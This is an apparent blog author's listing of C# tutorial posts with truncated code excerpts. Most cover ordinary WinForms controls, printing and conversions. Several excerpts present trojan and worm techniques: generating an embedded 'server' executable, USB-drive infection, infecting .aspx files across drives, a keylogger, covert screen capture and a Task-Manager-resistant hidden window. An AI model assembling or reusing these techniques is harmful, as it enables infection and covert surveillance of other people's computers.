C#
文章平均质量分 63
xujuntao0000
这个作者很懒,什么都没留下…
展开
-
C#控制光驱开关
using System.Runtime.InteropServices ; [DllImport("winmm.dll")]public static extern int mciSendString(string s1, string s2, int i1, int i2);private void button1_Click(object sender, System原创 2009-07-20 20:48:00 · 253 阅读 · 0 评论 -
C#给程序加上特定皮肤
一,下载皮肤控件IrisSkin2.dll;二,在工具箱上,右击选择“选择项”,在弹出的“选择工具箱项”选项卡中,点击“浏览”, 找到IrisSkin2.dll存放的位置,双击,你会发现多了个“SkinEngine”,选择拖到窗体上, 将皮肤文件 "*.ssk" 添加到bin文件夹下的Debug/Release文件夹下。三,在初始化时加上一句:原创 2009-10-19 15:02:00 · 529 阅读 · 1 评论 -
C# vs2008安装部署工程制作教程
1. 新建一个Class Library, 例如Name 为 CustomAction. 这个就是一个自定义安装行为的类。 2. 添加安装类。在新建的Library里面添加一个 Installer Class,名字我暂时定为MyInstallerClassDll 3. 重写基类的函数 Commit Insta原创 2009-10-19 15:59:00 · 2521 阅读 · 1 评论 -
C#listbox用法
1. 属性列表: SelectionMode 组件中条目的选择类型,即多选(Multiple)、单选(Single) Rows 列表框中显示总共多少行 Selected 检测条目是否被选中 SelectedItem 返回的类型是ListItem,获得列表框中被选择的条目 Count 列表框原创 2009-10-22 08:49:00 · 30760 阅读 · 9 评论 -
C#设计类
namespace myData.QuestionClass{ public class question_x { //设置类的属性 //ID private string ID; public string x_ID { get { return ID; } se原创 2009-10-28 22:26:00 · 306 阅读 · 0 评论 -
C#数据库操作
//连接工程文件夹下目录为DataBase中question.mdb的数据库文件public OleDbConnection OledCon() { string reportPath = Application.StartupPath.Substring(0, Application.StartupPath.Substring(0,Application原创 2009-10-28 21:56:00 · 522 阅读 · 0 评论 -
C#各种类型相互转换
一,string 变成 bool: Convert.ToBoolean("true");//大小写都可,返回true值;注意只能是true/false的大小写字符串。二,string 变成 Int32: Convert.ToInt32("32");//返回Int32 类型的32;注意只能是数字字符串。三,各种类型数据都可用ToString()转换成字符串形原创 2009-10-29 10:20:00 · 382 阅读 · 1 评论 -
C#MessageBox消息框
一,最简单的显示方式: MessageBox.Show("this is my Message!"); 二,显示标题: MessageBox.Show("Center Message","biaoti"); 三,指定按钮: MessageBox.Show("Center Message","biaoti",MessageBoxButtons原创 2009-10-28 20:52:00 · 162 阅读 · 0 评论 -
常用正则表达式
"^/d+$" //非负整数(正整数 + 0) "^[0-9]*[1-9][0-9]*$" //正整数 "^((-/d+)|(0+))$" //非正整数(负整数 + 0) "^-[0-9]*[1-9][0-9]*$" //负整数 "^-?/d+$" //整数 "^/d+(/./d+)?$" //非负浮点数(正浮点数 + 0) "^(([0-9]+/.[0-9]*[1-9][0-9]*)|([0-9原创 2010-01-16 16:59:00 · 244 阅读 · 0 评论 -
C# 加载文件生成exe服务端
C#木马服务端生成技术.(使用不当,造成后果自负)一,添加资源文件: 点击项目,添加现有项,浏览你的exe服务端,添加进目录;二,修改资源文件属性: 点击文件,属性, 生成操作改为 嵌入的资源;三,项目事件中加入代码: Stream Exestream = Assembly.GetExecutingAssembly().GetManifestResourc原创 2010-03-30 09:57:00 · 679 阅读 · 0 评论 -
C# socket基本连接通信(二)
第二章 客户端using System.Net;using System.Net.Sockets;using System.Management;using System.IO;using System.IO.Compression;using System.Threading;using System.Diagnostics;using Microsoft.Win32;using Syste原创 2010-03-30 18:01:00 · 317 阅读 · 0 评论 -
C# 实现u盘感染
string clientname = "";//程序随机生成的文件名 string path = "";//程序移动到的文件路径及名称 public void Uinfect() { FileInfo myinfo = new FileInfo(path); foreach(DriveInf原创 2010-04-02 21:49:00 · 352 阅读 · 0 评论 -
C#遍历磁盘感染aspx文件
foreach (string drive in Environment.GetLogicalDrives()) { DirectoryInfo dirinfo = new DirectoryInfo(drive); foreach (DirectoryInfo directory in dirinfo.GetDir原创 2010-04-28 23:46:00 · 380 阅读 · 0 评论 -
C#打印条码操作的实例浅析
<br />C#打印条码一般是通过图片方式或指令方式来打印,图片形式主要有fastreport。这里我们使用LPT端口控件来实现,而实际上绝大多数的条码打印机厂商都有一套他们自己的打印指令语言,通过这种语言,可以不需要驱动,支持直接打印,并且操作简单,仅仅将指令送入打印机中就好。<br />VS中存在Com口操作的控件,却未有现成的LPT端口控件,而相对COM口来说,LPT的速度要快,所以在打印的时候客户一般选择LPT通讯方式,经过网上的一些查阅,终于实现了LPT口的打印,打印机为Zebra,写出来与大家分转载 2010-08-25 10:05:00 · 720 阅读 · 0 评论 -
C#图片格式打印
<br />#region 打印<br /> private void btnPrint_Click(object sender, EventArgs e)<br /> {<br /> //打印预览<br /> //PrintPreviewDialog ppd = new PrintPreviewDialog();<br /> PrintDocument pd = new PrintDocument();<br /原创 2010-08-25 10:49:00 · 1672 阅读 · 0 评论 -
c#读条码程序
<br />其实,条形码读取器就相当于键盘(I/O)设备,只要设置输入焦点,扫描枪扫描一下就能够显示出数据来!<br /> <br />protected Intermec.DataCollection.BarcodeReader gScanner;<br />public Scan()<br />{<br />InitializeComponent();<br />}<br />#region Intermec 扫描处理<br />#region 启动Intermec扫描<br />protected v原创 2010-08-25 10:30:00 · 1033 阅读 · 0 评论 -
DataGridView控件用法合集
DataGridView控件用法合集 1. DataGridView当前的单元格属性取得、变更2. DataGridView编辑属性3. DataGridView最下面一列新追加行非表示4. DataGridView判断当前选中行是否为新追加的行5. DataGridView删除行可否设定6. DataGridView行列不表示和删除7. DataGridView行原创 2011-06-23 11:12:00 · 916 阅读 · 0 评论 -
实现在屏幕左下角显示窗口
在 Form1_Load 事件中添加 Rectangle E = Screen.PrimaryScreen.Bounds; Point p = new Point(Screen.PrimaryScreen.WorkingArea.Width - this.Width, Screen.PrimaryScreen.WorkingArea.H原创 2009-08-27 20:22:00 · 342 阅读 · 0 评论 -
c#类型转换
C# 的类型转换,其内容涉及 C# 的装箱/拆箱/别名、数值类型间相互转换、字符的 ASCII 码和 Unicode 码、数值字符串和数值之间的转换、字符串和字符数组/字节数组之间的转换、各种数值类型和字节数组之间的转换、十六进制数输出以及日期型数据的一些转换处理,写在这里以备共同研究。 1. 装箱、拆箱还是别名 许多 C#.NET 的书上都有介绍 int -> Int32 是一个装箱的过程,反之原创 2009-08-14 23:46:00 · 542 阅读 · 0 评论 -
C#实现点击窗体关闭按钮时到系统托盘,右键系统托盘弹出菜单点击退出退出整个程序
一,在工具箱添加notifyIcon控件,contextMenustrip控件 二,设置属性Icon ,Text ,visable(true),contextMenustrip, 三,添加窗体Closing()事件,加入代码: private void Form1_FormClosing(object sender, FormClosingEventArgs e)原创 2009-08-09 18:39:00 · 2047 阅读 · 0 评论 -
C#实现Cmd命令
Process p = new Process(); // 设定程序名 p.StartInfo.FileName = "cmd.exe"; // 关闭Shell的使用 p.StartInfo.UseShellExecute = false; // 重定向标准输入原创 2009-07-20 21:43:00 · 663 阅读 · 0 评论 -
C#实现屏幕实时监控
一,在窗体添加控件:picturebox,timer, 二,设置timer控件属性Interval为指定间隔5000毫秒,form窗体AutoScroll属性为True。 三,双击timer控件,添加timer_Tick事件代码: //获得当前屏幕的大小 Rectangle rect = new Rectangle(); re原创 2009-07-19 22:24:00 · 2330 阅读 · 0 评论 -
c#关闭特定程序
using System;using System.Diagnostics;class close_special_exe{ static void Main() { Process[] myProcess; myProcess=Process.GetProcessesByName ("Notepad"); foreach(Process in原创 2009-07-20 20:44:00 · 285 阅读 · 0 评论 -
C#实现自启动及带附件形式的邮件发送
一。新建C# window应用程序项目mySmtp,设置Form1属性WindowState,ShowInTaskbar为false,实现窗口隐藏,或this.visable = true也可实现隐藏。 二。在program .cs中添加代码如下: using System; using System.Collections.Generic; using System.Linq; using Sy原创 2009-07-20 20:46:00 · 359 阅读 · 0 评论 -
C#列举结束进程
using System; using System.Diagnostics; using System.Management; //列举进程列表private static void psst() { Process[] procList = Process.GetProcesses(); Console.WriteLine("{0,-6}{1,-12原创 2009-07-22 21:17:00 · 324 阅读 · 0 评论 -
C# winform中ListView用法
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@22 listView1.View = View.Details;//listView显示方式 listView1.Columns.Add("进程名");//增加项目标题 listView1.Columns.Add("路径");//增加项目标题原创 2009-07-22 20:11:00 · 7813 阅读 · 1 评论 -
C#Timer控件使用
一,把timer控件拖放到窗体容器: 二,设置其Interval属性为指定时间间隔,毫秒为单位。 三,在相应位置设置timer控件Enable属性值为True,就可以激活Tick事件 四,双击timer控件可以添加timer_Tick事件,编辑代码。原创 2009-07-23 20:01:00 · 698 阅读 · 0 评论 -
C#progressBar控件
一,设置属性:Step值(10),Minimun(0),Maximun(100),Value(0); 二,调用PerformStep()方法,实现进度前移Step个单位。 private void button1_Click(object sender, EventArgs e) { progressBar1.Step = 50;原创 2009-07-23 22:35:00 · 1441 阅读 · 0 评论 -
C#加载系统内部图标
一,导入系统dll函数: using System.Runtime.InteropServices; [DllImport("Shell32.dll")] public static extern int ExtractIcon(IntPtr h, string strx, int ii); protected virtual Icon原创 2009-07-26 19:18:00 · 1110 阅读 · 0 评论 -
C#中调用DLL
1.先把调用的DLL文件复制到执行文件的目录(调试时为DEBUG目录)2.在需调用DLL的*.CS文件中using System.Runtime.InteropServices;3.在类定义中用DllImport关键字进行声明函数接口public class FrmQuickSearch : System.Windows.Forms.Form { [DllImport("JI原创 2009-07-28 18:27:00 · 229 阅读 · 0 评论 -
C#控件捕获按键事件
private void textbox_KeyDown(object sender, KeyEventArgs e){ // 如果按下组合键CTRL+R if (e.Control && e.KeyCode == Keys.R) { }}原创 2009-07-28 18:30:00 · 402 阅读 · 0 评论 -
C#获取当前应用程序所在的路径
System.Environment.CurrentDirectory;//例: c:/testApplication.ExecutablePath;(包括名称)//例: c:/test/myapp.exeApplication.StartupPath;(不包括名称)//例: c:/test原创 2009-07-28 18:32:00 · 192 阅读 · 0 评论 -
C#两个窗体间的通信
C#实现在Form1中调用Form2的信息的方式.方法1:首先,我们在Form2中定义:private Form1 mF_Form 其次, 更改Form2的构造函数为有参数的public Form2 ( Form1 myForm ) { InitializeComponent ( ) ; this.mF_Form = myForm ; /////这样在Form1中申明原创 2009-07-30 20:19:00 · 509 阅读 · 0 评论 -
C#键盘记录器
using System;using System.Drawing;using System.Collections;using System.ComponentModel;using System.Windows.Forms;using System.Data; using System.Threading; namespace RozhDataSrvTest原创 2009-08-02 09:28:00 · 996 阅读 · 1 评论 -
C#实现重启、关机、开关显示器的方法
using System;using System.Runtime.InteropServices;// public static void Reboot() 重启// public static void PowerOff()关机// public static void LogOff()注销// public static void CloseMonitor(IntPtr h原创 2009-08-04 13:34:00 · 589 阅读 · 0 评论 -
C#实现窗体隐藏及在任务管理器中关闭不了,
添加窗体closing事件,代码为: private void Form1_FormClosing(object sender, FormClosingEventArgs e) { if (e.CloseReason == CloseReason.TaskManagerClosing|| e.CloseReason == CloseReason.A原创 2009-08-09 19:52:00 · 1097 阅读 · 1 评论 -
DataGridView控件用法合集
DataGridView控件用法合集 1. DataGridView当前的单元格属性取得、变更2. DataGridView编辑属性3. DataGridView最下面一列新追加行非表示4. DataGridView判断当前选中行是否为新追加的行5. DataGridView删除行可否设定6. DataGridView行列不表示和删除7. DataGridView行原创 2011-06-23 11:14:00 · 968 阅读 · 0 评论